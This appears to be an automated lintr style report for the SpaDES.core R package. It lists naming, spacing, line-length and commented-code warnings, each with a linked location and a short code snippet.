[R/cache.R:654:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/cache.R#L654) *style:* **Variable or function name should be lowerCamelCase.**
```r
makeMemoiseable.simList <- function(x) {
^~~~~~~~~~~~~~~~~~~~~~~
```
[R/cache.R:662:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/cache.R#L662) *style:* **Variable or function name should be lowerCamelCase.**
```r
unmakeMemoiseable.simList_ <- function(x) {
^~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/checkpoint.R:36:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/checkpoint.R#L36) *style:* **Variable or function name should be lowerCamelCase.**
```r
doEvent.checkpoint <- function(sim, eventTime, eventType, debug = FALSE) {
^~~~~~~~~~~~~~~~~~
```
[R/code-checking.R:86:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L86) *style:* **Lines should not be more than 100 characters.**
```r
                xAsCall <- .isLastLineSim(x = x, xAsString = bb[seq(funStarts[yy], funEnds[yy + 1])])
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/code-checking.R:90:16:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L90) *style:* **Commented code should be removed.**
```r
              #y = strsplit(bb[funStarts[yy]], split = "\\s+")[[1]][1]
               ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/code-checking.R:91:53:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L91) *style:* **Commas should always have a space after.**
```r
              y <- paste0(cantCodeCheckMessage, "'",bb[funStarts[yy]], "'")
                                                    ^
```
[R/code-checking.R:144:39:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L144) *style:* **Opening curly braces should never go on their own line and should always be followed by a new line.**
```r
    if (identical(type, "returnSim")) { # This is intended for only the last line of a function
                                      ^
```
[R/code-checking.R:182:48:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L182) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
      } else if (identical(x[[1]], quote(`<-`)) ) {
                                               ^
```
[R/code-checking.R:185:62:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L185) *style:* **Opening curly braces should never go on their own line and should always be followed by a new line.**
```r
            if (any(grepl(x[[2]][[2]], pattern = ".envir"))) {# i.e., sim@.envir
                                                             ^
```
[R/code-checking.R:202:19:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L202) *style:* **Place a space before left parenthesis, except in a function call.**
```r
          x <- x[-(1:2)]
                  ^
```
[R/code-checking.R:218:29:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L218) *style:* **Place a space before left parenthesis, except in a function call.**
```r
          x[[2]] <- x[[2]][-(1:2)]
                            ^
```
[R/code-checking.R:320:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L320) *style:* **Lines should not be more than 100 characters.**
```r
    allChecks[anyCantCodeCheck] <- lapply(names(cantCodeCheck[anyCantCodeCheck]), function(objName) {
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/code-checking.R:369:51:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L369) *style:* **Commas should always have a space after.**
```r
                                              " ",verb," declared in outputObjects, ",
                                                  ^
```
[R/code-checking.R:369:56:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L369) *style:* **Commas should always have a space after.**
```r
                                              " ",verb," declared in outputObjects, ",
                                                       ^
```
[R/code-checking.R:385:20:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L385) *style:* **Commas should always have a space after.**
```r
               " ",verb," declared in inputObjects, ",
                   ^
```
[R/code-checking.R:385:25:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L385) *style:* **Commas should always have a space after.**
```r
               " ",verb," declared in inputObjects, ",
                        ^
```
[R/code-checking.R:396:90:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L396) *style:* **Commas should always have a space after.**
```r
                                       paste0(paste(missingFrmMod, collapse = ", "), " ",verb,
                                                                                ^
```
[R/code-checking.R:441:75:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L441) *style:* **Commas should always have a space after.**
```r
             " but only for the 'get' functions, not the 'set' function ","
                                                                          ^
```
[R/code-checking.R:455:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L455) *style:* **Lines should not be more than 100 characters.**
```r
    missingInMetadata <- simAssignsNotInDotInputObjects[!(simAssignsNotInDotInputObjects %in% outputObjNames)]
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/code-checking.R:464:24:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L464) *style:* **Commas should always have a space after.**
```r
                   " ",verbs[[fn]]," assigned to sim inside ",
                       ^
```
[R/code-checking.R:464:36:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L464) *style:* **Commas should always have a space after.**
```r
                   " ",verbs[[fn]]," assigned to sim inside ",
                                   ^
```
[R/code-checking.R:465:33:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L465) *style:* **Commas should always have a space after.**
```r
                   fn, ", but ",verbs[[fn]]," not declared in outputObjects")
                                ^
```
[R/code-checking.R:465:45:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L465) *style:* **Commas should always have a space after.**
```r
                   fn, ", but ",verbs[[fn]]," not declared in outputObjects")
                                            ^
```
[R/code-checking.R:472:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L472) *style:* **Lines should not be more than 100 characters.**
```r
    missingInMetadata <- simAssignsInDotInputObjects[!(simAssignsInDotInputObjects %in% inputObjNames)]
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/code-checking.R:481:24:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L481) *style:* **Commas should always have a space after.**
```r
                   " ",verbs[[fn]]," assigned to sim inside ",
                       ^
```
[R/code-checking.R:481:36:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L481) *style:* **Commas should always have a space after.**
```r
                   " ",verbs[[fn]]," assigned to sim inside ",
                                   ^
```
[R/code-checking.R:482:33:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L482) *style:* **Commas should always have a space after.**
```r
                   fn, ", but ",verbs[[fn]]," not declared in inputObjects")
                                ^
```
[R/code-checking.R:482:45:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L482) *style:* **Commas should always have a space after.**
```r
                   fn, ", but ",verbs[[fn]]," not declared in inputObjects")
                                            ^
```
[R/code-checking.R:504:24:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L504) *style:* **Commas should always have a space after.**
```r
                   " ",verbs[[fn]]," used from sim inside ",
                       ^
```
[R/code-checking.R:504:36:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L504) *style:* **Commas should always have a space after.**
```r
                   " ",verbs[[fn]]," used from sim inside ",
                                   ^
```
[R/code-checking.R:505:33:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L505) *style:* **Commas should always have a space after.**
```r
                   fn, ", but ",verbs[[fn]]," not declared in inputObjects")
                                ^
```
[R/code-checking.R:505:45:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L505) *style:* **Commas should always have a space after.**
```r
                   fn, ", but ",verbs[[fn]]," not declared in inputObjects")
                                            ^
```
[R/code-checking.R:517:13:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L517) *style:* **Commas should always have a space after.**
```r
        " ",verb," used from sim inside ",
            ^
```
[R/code-checking.R:517:18:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L517) *style:* **Commas should always have a space after.**
```r
        " ",verb," used from sim inside ",
                 ^
```
[R/code-checking.R:519:18:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L519) *style:* **Commas should always have a space after.**
```r
        ", but ",verb," not declared in inputObjects"
                 ^
```
[R/code-checking.R:519:23:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L519) *style:* **Commas should always have a space after.**
```r
        ", but ",verb," not declared in inputObjects"
                      ^
```
[R/code-checking.R:662:6:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L662) *style:* **Commented code should be removed.**
```r
    #unique(pd[outerWh, "line1"])
     ^~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/code-checking.R:666:34:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L666) *style:* **Commas should always have a space after.**
```r
      whInner <- any((pd[outerWh,"line1"] < lwf) & (pd[outerWh,"line2"] > lwf) )
                                 ^
```
[R/code-checking.R:666:64:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L666) *style:* **Commas should always have a space after.**
```r
      whInner <- any((pd[outerWh,"line1"] < lwf) & (pd[outerWh,"line2"] > lwf) )
                                                               ^
```
[R/code-checking.R:666:79:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/code-checking.R#L666) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
      whInner <- any((pd[outerWh,"line1"] < lwf) & (pd[outerWh,"line2"] > lwf) )
                                                                              ^
```
[R/copy.R:37:13:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/copy.R#L37) *style:* **Variable or function name should be lowerCamelCase.**
```r
            sim_ <- object
            ^~~~
```
[R/downloadData.R:54:96:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/downloadData.R#L54) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
    io <- .parseModulePartial(sim, modules = list(module), defineModuleElement = "inputObjects" )
                                                                                ^
```
[R/downloadData.R:242:7:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/downloadData.R#L242) *style:* **Commented code should be removed.**
```r
    # parsedModule <- parse(file = file.path(path, module, paste0(module, '.R')))
      ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/downloadData.R:243:7:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/downloadData.R#L243) *style:* **Commented code should be removed.**
```r
    # urls <- .getSourceURL(pattern = fileToDownload, x = parsedModule)
      ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/downloadData.R:250:8:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/downloadData.R#L250) *style:* **Commented code should be removed.**
```r
      #urls <- moduleMetadata(module, path)$inputObjects$sourceURL
       ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/downloadData.R:275:27:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/downloadData.R#L275) *style:* **Commas should always have a space after.**
```r
    chksums2 <- chksums[0,]
                          ^
```
[R/downloadData.R:276:6:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/downloadData.R#L276) *style:* **Commented code should be removed.**
```r
    #children <- moduleMetadata(module, path)$childModules
     ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/downloadData.R:279:13:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/downloadData.R#L279) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
        if ( all( nzchar(children) & !is.na(children) ) ) {
            ^
```
[R/downloadData.R:279:18:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/downloadData.R#L279) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
        if ( all( nzchar(children) & !is.na(children) ) ) {
                 ^
```
[R/downloadData.R:279:54:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/downloadData.R#L279) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
        if ( all( nzchar(children) & !is.na(children) ) ) {
                                                     ^
```
[R/downloadData.R:279:56:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/downloadData.R#L279) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
        if ( all( nzchar(children) & !is.na(children) ) ) {
                                                       ^
```
[R/experiment.R:200:6:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/experiment.R#L200) *style:* **Commented code should be removed.**
```r
    #sim <- Copy(sim, objects = FALSE, queues = TRUE)
     ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/experiment.R:215:7:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/experiment.R#L215) *style:* **Commented code should be removed.**
```r
    # cl <- tryCatch(getCluster(), error = function(x) NULL)
      ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/experiment.R:216:7:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/experiment.R#L216) *style:* **Commented code should be removed.**
```r
    # on.exit(if (!is.null(cl)) returnCluster(), add = TRUE)
      ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/experiment.R:218:6:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/experiment.R#L218) *style:* **Commented code should be removed.**
```r
    #if (length(modules) == 0) modules <- list(modules(sim)[-(1:4)])
     ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/experiment.R:222:11:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/experiment.R#L222) *style:* **Commented code should be removed.**
```r
        # unlist(params[paramsTmp], recursive = FALSE)
          ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/experiment.R:314:58:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/experiment.R#L314) *style:* **Commented code should be removed.**
```r
            params(sim_)[[mod[x]]][[param[[x]]]] <- val #factorialExp[ind,x]
                                                         ^~~~~~~~~~~~~~~~~~~
```
[R/helpers.R:232:74:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/helpers.R#L232) *style:* **Place a space before left parenthesis, except in a function call.**
```r
                             paste0("package:", .pkgEnv$corePackagesVec[-(1:2)]))
                                                                         ^
```
[R/helpers.R:262:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/helpers.R#L262) *style:* **Variable or function name should be lowerCamelCase.**
```r
all.equal.simList <- function(target, current, ...) {
^~~~~~~~~~~~~~~~~
```
[R/load.R:198:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/load.R#L198) *style:* **Lines should not be more than 100 characters.**
```r
                names(argument) <- c(nam, names(formals(getFromNamespace(loadFun[y], loadPackage[y])))[1])
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/misc-methods.R:465:55:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/misc-methods.R#L465) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
          (inherits(get(w, envir = envir), "integer")) ) {
                                                      ^
```
[R/module-define.R:744:63:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/module-define.R#L744) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
      exts <- na.omit(match(file_ext(fl), .fileExts[, "exts"]) )
                                                              ^
```
[R/module-dependencies-class.R:53:13:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/module-dependencies-class.R#L53) *style:* **Variable or function name should be lowerCamelCase.**
```r
            out.df <- data.frame(
            ^~~~~~
```
[R/module-dependencies-class.R:171:9:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/module-dependencies-class.R#L171) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
    if ( !all(colnames(._outputObjectsDF()) %in% colnames(object@outputObjects)) ) {
        ^
```
[R/module-dependencies-class.R:171:81:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/module-dependencies-class.R#L171) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
    if ( !all(colnames(._outputObjectsDF()) %in% colnames(object@outputObjects)) ) {
                                                                                ^
```
[R/module-dependencies-methods.R:43:5:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/module-dependencies-methods.R#L43) *style:* **Variable or function name should be lowerCamelCase.**
```r
    DT <- .depsEdgeListMem(deps, plot)
    ^~
```
[R/module-dependencies-methods.R:56:3:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/module-dependencies-methods.R#L56) *style:* **Variable or function name should be lowerCamelCase.**
```r
  sim.in <- sim.out <- data.table(objectName = character(0),
  ^~~~~~
```
[R/module-dependencies-methods.R:56:13:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/module-dependencies-methods.R#L56) *style:* **Variable or function name should be lowerCamelCase.**
```r
  sim.in <- sim.out <- data.table(objectName = character(0),
            ^~~~~~~
```
[R/module-dependencies-methods.R:61:7:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/module-dependencies-methods.R#L61) *style:* **Variable or function name should be lowerCamelCase.**
```r
      z.in <- as.data.table(x@inputObjects)[, .(objectName, objectClass)]
      ^~~~
```
[R/module-dependencies-methods.R:62:7:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/module-dependencies-methods.R#L62) *style:* **Variable or function name should be lowerCamelCase.**
```r
      z.out <- as.data.table(x@outputObjects)[, .(objectName, objectClass)]
      ^~~~~
```
[R/module-dependencies-methods.R:65:9:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/module-dependencies-methods.R#L65) *style:* **Variable or function name should be lowerCamelCase.**
```r
        sim.in <<- rbindlist(list(sim.in, z.in), use.names = TRUE)
        ^~~~~~
```
[R/module-dependencies-methods.R:68:9:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/module-dependencies-methods.R#L68) *style:* **Variable or function name should be lowerCamelCase.**
```r
        sim.out <<- rbindlist(list(sim.out, z.out), use.names = TRUE)
        ^~~~~~~
```
[R/module-dependencies-methods.R:80:5:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/module-dependencies-methods.R#L80) *style:* **Variable or function name should be lowerCamelCase.**
```r
    DT <- dx[, list(from = module, to = i.module,
    ^~
```
[R/module-dependencies-methods.R:83:15:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/module-dependencies-methods.R#L83) *style:* **Variable or function name should be lowerCamelCase.**
```r
    if (plot) DT <- DT[!duplicated(DT[, 1:2, with = FALSE]), ]
              ^~
```
[R/module-dependencies-methods.R:85:5:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/module-dependencies-methods.R#L85) *style:* **Variable or function name should be lowerCamelCase.**
```r
    DT <- data.table(from = character(0), to = character(0),
    ^~
```
[R/module-dependencies-methods.R:164:5:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/module-dependencies-methods.R#L164) *style:* **Variable or function name should be lowerCamelCase.**
```r
    M <- distances(simGraph, mode = "out")
    ^
```
[R/module-dependencies-methods.R:196:39:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/module-dependencies-methods.R#L196) *style:* **`%>%` should always have a space before it and a new line after it, unless the full pipeline fits on one line.**
```r
      missingObjects <- simEdgeList %>% filter(from != to) %>%
                                    ~~^
```
[R/module-dependencies-methods.R:210:26:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/module-dependencies-methods.R#L210) *style:* **`%>%` should always have a space before it and a new line after it, unless the full pipeline fits on one line.**
```r
    return(newEdgeList %>% data.table() %>% setorder("from", "to", "objName"))
                       ~~^
```
[R/module-dependencies-methods.R:246:79:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/module-dependencies-methods.R#L246) *style:* **Do not place spaces around code in parentheses or square brackets.**
```r
              loadOrder <- names(simGraph[[tsort, ]]) %>% .[!(. %in% "_INPUT_" )]
                                                                              ^
```
[R/module-repository.R:28:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/module-repository.R#L28) *style:* **Lines should not be more than 100 characters.**
```r
#'          (\url{http://spades-core.predictiveecology.org/articles/ii-modules.html#module-directory-structure-modulename}),
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/module-repository.R:52:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/module-repository.R#L52) *style:* **Lines should not be more than 100 characters.**
```r
    zipFiles <- grep(file.path(name, "data"), zipFiles, invert = TRUE, value = TRUE) # remove any zip in data folder
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/module-repository.R:293:8:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/module-repository.R#L293) *style:* **Commented code should be removed.**
```r
      #versionWarning(name, version)
       ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/module-repository.R:305:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/module-repository.R#L305) *style:* **Lines should not be more than 100 characters.**
```r
        GET(zip, ua, config = list(config(token = pat)), write_disk(localzip, overwrite = overwrite))
^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/module-repository.R:401:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/module-repository.R#L401) *style:* **Trailing blank lines are superfluous.**
```r

^
```
[R/module-repository.R:402:1:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/module-repository.R#L402) *style:* **Trailing blank lines are superfluous.**
```r

^
```
[R/moduleMetadata.R:75:6:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/moduleMetadata.R#L75) *style:* **Commented code should be removed.**
```r
    #metadata <- eval(parse(text = x)) # can't be used because can't evaluate start(sim)
     ^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```
[R/plotting-diagrams.R:78:5:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/plotting-diagrams.R#L78) *style:* **Variable or function name should be lowerCamelCase.**
```r
    DT <- tail(completed(sim), n)
    ^~
```
[R/plotting-diagrams.R:173:28:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/plotting-diagrams.R#L173) *style:* **`%>%` should always have a space before it and a new line after it, unless the full pipeline fits on one line.**
```r
        sapply(ll, NROW) %>% sum() %>% `*`(., 26L)
                         ~~^
```
[R/plotting-diagrams.R:325:7:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/plotting-diagrams.R#L325) *style:* **Variable or function name should be lowerCamelCase.**
```r
      PlotRemovingDots <- function(modDia, plotFn, axes, ...,
      ^~~~~~~~~~~~~~~~
```
[R/plotting-diagrams.R:326:36:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/plotting-diagrams.R#L326) *style:* **Variable or function name should be lowerCamelCase.**
```r
                                   vertex.color,
                                   ^~~~~~~~~~~~
```
[R/plotting-diagrams.R:327:36:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/plotting-diagrams.R#L327) *style:* **Variable or function name should be lowerCamelCase.**
```r
                                   vertex.size,
                                   ^~~~~~~~~~~
```
[R/plotting-diagrams.R:328:36:](https://github.com/PredictiveEcology/SpaDES.core/blob/c0332304286ab6ca67af82c60d5f178d6d58d8ce/R/plotting-diagrams.R#L328) *style:* **Variable or function name should be lowerCamelCase.**
```r
                                   vertex.size2,
                                   ^~~~~~~~~~~~
```
